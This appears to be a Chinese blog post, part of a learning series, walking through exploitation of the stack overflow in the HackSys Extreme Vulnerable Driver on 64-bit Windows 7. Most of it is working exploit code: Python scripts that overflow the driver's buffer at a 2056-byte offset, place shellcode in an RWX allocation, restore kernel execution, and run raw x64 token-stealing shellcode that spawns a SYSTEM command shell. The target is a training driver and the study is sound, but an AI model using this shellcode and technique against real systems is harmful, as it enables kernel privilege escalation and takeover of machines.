继续我们的Windows漏洞利用之旅,开始学习HEVD中内核驱动程序相关的漏洞,并编写有关ring 0的利用程序。正如我在OSCP中所做的准备,我主要是在博客中记录自己的进步,以此来加强认知和保留详细的笔记,以供日后参考。
本系列文章是我尝试遍历Hacksys Extreme漏洞驱动程序中所有漏洞方法的记录。
我将使用HEVD 2.0。,对我们这些刚入门的人来说,像这样的训练工具是非常神奇的。 那里还有很多不错的博客文章,介绍了各种HEVD漏洞。 我建议您全部阅读! 在尝试完成这些攻击时,我大量引用了它们。 在此博客中,我所做的或说的,几乎没有什么是新的内容或我自己的想法/思路/技术。
驱动程序如何工作,以及用户空间,内核和驱动程序之间的不同类型,如何通信等等
如何安装HEVD
如何搭建实验环境
shellcode分析
原因很简单,其他博客文章在详细说明此信息方面,做得比我更好。 那里有很多出色的帖子,相比之下我写这个博客系列就很肤浅了。 但并不意味着我的博客写得很差,因为我的博客比那些文章更容易理解。那些博客的作者比我有更多的经验和更渊博的知识,他们文章解释的就很好。:)
这篇文章/系列文章将重点放在我尝试制作实际漏洞的经验上。
我使用以下博客作为参考:
非常感谢这些博客作者,没有您的帮助,我无法完成前两个漏洞。
我们的目标是在Win7 x86和Win7 x86-64上完成针对HEVD栈溢出漏洞的攻击。我们将紧跟上篇博客文章,大多数内容将不会重新介绍。
我们将使用与上一篇文章相同的方法,并进行一些更改,这些更改将是:
- 这次使用
VirtualAlloc
代替VirtualProtect
,- 我们需要在某些地方修改脚本以使用64位的寄存器,
- @ abatchy17提供的新的tpken-stealing shellcodef方法,
- 新的内核执行恢复shellcode方法
- 一种新的
ctypes
库
让我们开始吧。
为了进入函数TriggerStackOverflow
,我们将再次使用值为0x222003
的IOCTL,并且CreateFileA
API看起来完全相同,将再次向设备的驱动程序返回一个句柄。我们使用该句柄调用DeviceIoControl
API,发送一个较大的缓冲区来使系统崩溃。
为了创建缓冲区,我们将使用ctypes
库中create_string_buffer
函数,该功能是我从@sizzop博客文章中学到的。(在上一篇文章中,我们主要侧重@r0otki7的文章,在这篇文章中,我主要侧重@sizzop的。)
与上次一样,我们将首先发送一个3,000个字节的"A"
字符到缓冲区,然后系统会崩溃。我们的代码如下所示:
import ctypes, sys, struct
from ctypes import *
from subprocess import *
import time
kernel32 = windll.kernel32
hevd = kernel32.CreateFileA(
"\\\\.\\HackSysExtremeVulnerableDriver",
0xC0000000,
0,
None,
0x3,
0,
None)
if (not hevd) or (hevd == -1):
print("[!] Failed to retrieve handle to device-driver with error-code: " + str(GetLastError()))
sys.exit(1)
else:
print("[*] Successfully retrieved handle to device-driver: " + str(hevd))
buf = create_string_buffer("A"*3000)
result = kernel32.DeviceIoControl(
hevd,
0x222003,
addressof(buf),
(len(buf)-1),
None,
0,
byref(c_ulong()),
None
)
if result != 0:
print("[*] Sending payload to driver...")
else:
print("[!] Unable to send payload to driver.")
sys.exit(1)
这里的一个棘手的事情是,创建create_string_buffer
时,您的缓冲区为null
终止。它表示比我们发送的长度长了一个字节, 是3001字节长。由于这个原因,在DeviceIoControl
中,我们从要发送的缓冲区长度中减去了一个字节长度。(感谢HEVD开发人员调试语句,这些语句包含了用户缓冲区的长度!)
受害者的机器运行此命会崩溃。
您可以看到,当程序执行到TriggerStackOverflow
函数的断点并逐步执行时,我们要进行ret
操作。因此,我在WinDBG中使用k
命令查看了堆栈得到返回的地址,可以看到堆栈中充满了我们的As
。 由于0x4141414141414141
不是有效的地址,所以在这里肯定会崩溃。
正如您所见,系统崩溃了。我们不仅将一堆值写入堆栈,而且显然会覆盖其他寄存器中的值。我们在这里控制了很多寄存器,这在内核中可能是一件坏事,因为我们要非常具体地确定内存损坏的地址。这些就留给你们去找出需要控制ret地址
的偏移量。
好,现在我们接着做上次的工作。让我们发送指定长度的字符到缓冲区,逐步执行该函数,并查看从TriggerStackOverflow
返回后执行的指令。在不溢出缓冲区的情况下,我们将遵循以下执行路径:
如您所见,当我们退出TriggerStackOverflow
并重新输入StackOverflowIoctlHandler
时,我们执行:
add
rsp
,0x28
ret
我们的shellcode将需要模拟这些命令,以使我们能够按预期恢复执行并且不会崩溃。 总而言之,我们的执行路径如下所示:
无溢出
StackOverflowIoctlHandler
–> TriggerStackOverflow
–>ret
到StackOverflowIoctlHandler
,然后add rsp, 0x28
,然后ret
到->IrpDeviceIoCtlHandler
.
有溢出
StackOverflowIoctlHandler
–> TriggerStackOverflow
–>ret
到shellcode,然后add rsp, 0x28
,然后ret
到–> IrpDeviceIoCtlHandler
我们要做的只是将Shellcode替换为StackOverflowIoctlHandler
的末尾,然后在shellcode的末尾运行该函数的命令以恢复执行。 让我们在脚本中添加一些shellcode,使用VirtualAlloc
将其标记为RWX权限,然后发送一些NOPs
占位指令。 另外,您会在此处看到覆盖ret
地址的偏移量是2056
。
现在,我们的漏洞利用代码如下所示:
import ctypes, sys, struct
from ctypes import *
from subprocess import *
import time
kernel32 = windll.kernel32
hevd = kernel32.CreateFileA(
"\\\\.\\HackSysExtremeVulnerableDriver",
0xC0000000,
0,
None,
0x3,
0,
None)
if (not hevd) or (hevd == -1):
print("[!] Failed to retrieve handle to device-driver with error-code: " + str(GetLastError()))
sys.exit(1)
else:
print("[*] Successfully retrieved handle to device-driver: " + str(hevd))
shellcode1 = (
"\x90" * 100
)
restoration_stub = (
"\x48\x83\xc4\x28" # add rsp,0x28
"\xc3" # ret
)
shellcode = shellcode1 + restoration_stub
addr = kernel32.VirtualAlloc(
c_int64(0),
c_int(len(shellcode)),
c_int(0x3000),
c_int(0x40)
)
if not addr:
print("[!] Error allocating shellcode RWX buffer")
else:
print("[*] Allocated RWX buffer for shellcode @ {}").format(str(hex(addr)))
memmove(addr,shellcode,len(shellcode))
addr = struct.pack("<Q", addr)
buf = create_string_buffer("A"*2048 + "B"*8 + addr)
result = kernel32.DeviceIoControl(
hevd,
0x222003,
addressof(buf),
(len(buf)-1),
None,
0,
byref(c_ulong()),
None
)
if result != 0:
print("[*] Sending payload to driver...")
else:
print("[!] Unable to send payload to driver.")
sys.exit(1)
这里有一些细节需要解释。我们在这里使用ctypes
库中memmove
函数将shellcode移到我们使用VirtualAlloc
创建的RWX缓冲区中。有关memmove
的信息您可以阅读这里
另一个需要强调的事情是,为了正确格式化指向我们的shellcode缓冲区的指针,我们必须使用struct.pack("<Q",addr)
,它将struct的指针格式化为C中的unsigned long long
类型变量和Python中的8字节int类型变量。 有关struct.pack
的所有不同类型的转换,您可以阅读这里
因为我们恢复了程序执行,并且只使用了NOPs,因此这应该毫无问题!
糟糕!我们的程序实际停止运行在IrpDeviceIoCtlHandler
中。虽然我们定义了shellcode,但卡死在了这步操作:
正如您所见,我们正在执行and qword ptr [rdi + 38h]
。在那里停止运行的原因,是因为我们发送的B字符覆盖了rdi
,而0x4242424242424242
加0x38
不是有效的内存空间,因此这个运行崩溃了。退出shellcode时,RDI
不能保持0x4242424242424242
。我们必须将其恢复到损坏之前的状态。
RDI
寄存器,实现漏洞利用我知道的将RDI恢复到它原来状态的唯一方法是,查看我们何时运行漏洞利用程序而没有溢出,在输入Shellcode
之前,RDI与另一个寄存器之间的偏移量是多少。
因此,我们必须再次回到非溢出缓冲区的大小,然后看看ret
退出TriggerStackOverflow
时的寄存器值是多少。
在该ret
上设置一个断点并运行到达那里,我们可以像这样dump寄存器的值:
我们看到有这些寄存器值:
rax=0000000000000000 rbx=fffffa80062e06a0 rcx=fffff88004f7efe0
rdx=0000077ffd394e20 rsi=fffffa8005539d10 rdi=fffffa80062e05d0
rip=fffff880038815f4 rsp=fffff88004f7f7e8 rbp=0000000000000001
r8=0000000000000000 r9=0000000000000000 r10=4141414141414141
r11=fffff88004f7f7e0 r12=fffffa8005b77370 r13=0000000000000000
r14=fffffa80062e06e8 r15=0000000000000003
RDI
寄存器,与RBX的偏移量为d0
(RBX-RDI =0xd0
)。 因此,我们可以做的是,在我们的Shellcode还原占位指令中,可以将RBX
加载到RDI
中,然后从RDI
中减去0xd0
,我们会得到正确的值。
让我们尝试一次不会崩溃的完整运行,我们更新的漏洞利用代码如下所示:
import ctypes, sys, struct
from ctypes import *
from subprocess import *
import time
kernel32 = windll.kernel32
hevd = kernel32.CreateFileA(
"\\\\.\\HackSysExtremeVulnerableDriver",
0xC0000000,
0,
None,
0x3,
0,
None)
if (not hevd) or (hevd == -1):
print("[!] Failed to retrieve handle to device-driver with error-code: " + str(GetLastError()))
sys.exit(1)
else:
print("[*] Successfully retrieved handle to device-driver: " + str(hevd))
shellcode1 = (
"\x90" * 100
)
restoration_stub = (
"\x48\x83\xc4\x28" # add rsp,0x28
"\x48\x89\xDF" # mov rdi,rbx
"\x48\x81\xEF\xD0\x00\x00\x00" # sub rdi,0xd0
"\xc3" # ret
)
shellcode = shellcode1 + restoration_stub
addr = kernel32.VirtualAlloc(
c_int64(0),
c_int(len(shellcode)),
c_int(0x3000),
c_int(0x40)
)
if not addr:
print("[!] Error allocating shellcode RWX buffer")
else:
print("[*] Allocated RWX buffer for shellcode @ {}").format(str(hex(addr)))
memmove(addr,shellcode,len(shellcode))
addr = struct.pack("<Q", addr)
buf = create_string_buffer("A"*2048 + "B"*8 + addr)
result = kernel32.DeviceIoControl(
hevd,
0x222003,
addressof(buf),
(len(buf)-1),
None,
0,
byref(c_ulong()),
None
)
if result != 0:
print("[*] Sending payload to driver...")
else:
print("[!] Unable to send payload to driver.")
sys.exit(1)
运行此漏洞利用代码可以正常执行,并且不会使内核崩溃!
现在剩下要做的就是添加一些实际的shellcode。 我使用了x64 shellcode,参考@abatchy17’s blog on the token-stealing payloads he was using
但是我也修改了它们,以便将所有使用过的寄存器首先压入堆栈以保留它们的值,然后将它们回弹到shellcode的末尾使它们还原。
最终的shellcode是:
shellcode1 = (
"\x50\x51\x41\x53\x52\x48\x31\xC0\x65\x48\x8B\x80\x88\x01\x00\x00"
"\x48\x8B\x40\x70\x48\x89\xC1\x49\x89\xCB\x49\x83\xE3\x07\xBA\x04"
"\x00\x00\x00\x48\x8B\x80\x88\x01\x00\x00\x48\x2D\x88\x01\x00\x00"
"\x48\x39\x90\x80\x01\x00\x00\x75\xEA\x48\x8B\x90\x08\x02\x00\x00"
"\x48\x83\xE2\xF0\x4C\x09\xDA\x48\x89\x91\x08\x02\x00\x00\x5A\x41"
"\x5B\x59\x58"
)
restoration_stub = (
"\x48\x83\xc4\x28" # add rsp,0x28
"\x48\x89\xDF" # mov rdi,rbx
"\x48\x81\xEF\xD0\x00\x00\x00" # sub rdi,0xd0
"\xc3" # ret
)
我将让读者来梳理那里的工作来作为这次练习的目的。请阅读Abatchy的博客,那是一个很好的资源。
运行最终漏洞利用代码,我们可以拿到期望的权限。
最终利用代码如下:
import ctypes, sys, struct
from ctypes import *
from subprocess import *
import time
kernel32 = windll.kernel32
hevd = kernel32.CreateFileA(
"\\\\.\\HackSysExtremeVulnerableDriver",
0xC0000000,
0,
None,
0x3,
0,
None)
if (not hevd) or (hevd == -1):
print("[!] Failed to retrieve handle to device-driver with error-code: " + str(GetLastError()))
sys.exit(1)
else:
print("[*] Successfully retrieved handle to device-driver: " + str(hevd))
shellcode1 = (
"\x50\x51\x41\x53\x52\x48\x31\xC0\x65\x48\x8B\x80\x88\x01\x00\x00"
"\x48\x8B\x40\x70\x48\x89\xC1\x49\x89\xCB\x49\x83\xE3\x07\xBA\x04"
"\x00\x00\x00\x48\x8B\x80\x88\x01\x00\x00\x48\x2D\x88\x01\x00\x00"
"\x48\x39\x90\x80\x01\x00\x00\x75\xEA\x48\x8B\x90\x08\x02\x00\x00"
"\x48\x83\xE2\xF0\x4C\x09\xDA\x48\x89\x91\x08\x02\x00\x00\x5A\x41"
"\x5B\x59\x58"
)
restoration_stub = (
"\x48\x83\xc4\x28" # add rsp,0x28
"\x48\x89\xDF" # mov rdi,rbx
"\x48\x81\xEF\xD0\x00\x00\x00" # sub rdi,0xd0
"\xc3" # ret
)
shellcode = shellcode1 + restoration_stub
addr = kernel32.VirtualAlloc(
c_int64(0),
c_int(len(shellcode)),
c_int(0x3000),
c_int(0x40)
)
if not addr:
print("[!] Error allocating shellcode RWX buffer")
else:
print("[*] Allocated RWX buffer for shellcode @ {}").format(str(hex(addr)))
memmove(addr,shellcode,len(shellcode))
addr = struct.pack("<Q", addr)
buf = create_string_buffer("A"*2048 + "B"*8 + addr)
result = kernel32.DeviceIoControl(
hevd,
0x222003,
addressof(buf),
(len(buf)-1),
None,
0,
byref(c_ulong()),
None
)
if result != 0:
print("[*] Sending payload to driver...")
else:
print("[!] Unable to send payload to driver.")
sys.exit(1)
print("[*] Spawning CMD shell with nt authority\system privs.")
Popen("start cmd", shell=True)
实际上,这花了我很长时间才能弄清楚。 在所有演练中我都没有遇到过到过RDI
的问题,因此这对我来说是一个很好的机会自食其力、探索和使用WinDBG的绝佳机会。非常感谢所有精彩的博客文章,非常感谢各位作者。